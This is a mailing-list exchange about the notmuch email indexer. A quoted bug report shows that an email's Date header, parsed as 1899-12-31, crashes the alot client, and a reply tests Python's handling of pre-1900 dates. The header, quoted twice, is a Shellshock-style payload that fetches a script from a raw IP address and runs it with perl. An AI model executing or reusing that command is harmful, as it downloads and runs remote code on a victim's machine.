On Wed, Apr 22 2015, Johannes Schauer <j.schauer@email.de> wrote: > Hi, > > I recently received an email with the following date field (the value of all > other headers is the same): > > Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; > > When doing `notmuch search lwp-download` I get: > > thread:000000000001ea6b 1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; (inbox unread) > > You can see that the date is 1899-12-31 which is wrong. > > This is annoying because the python module datetime which is for example used > by the notmuch client alot cannot handle dates before the year 1900 and will > thus never show this email in its thread view but instead display an exception > every time the view is refreshed. What do you mean by that datetime cannot handle dates before 1900 ? : $ python : Python 2.7.6 (default, Mar 22 2014, 22:59:56) : ... : >>> datetime.datetime.strptime('1799-11', '%Y-%m') : datetime.datetime(1799, 11, 1, 0, 0) : >>> x=datetime.datetime.strptime('1799-11', '%Y-%m') : >>> x.isoformat() : '1799-11-01T00:00:00' Tomi > It would be great if an invalid date could either somehow default to a nil > value or be a date that is 1900 or later. > > Thanks! > > cheers, josch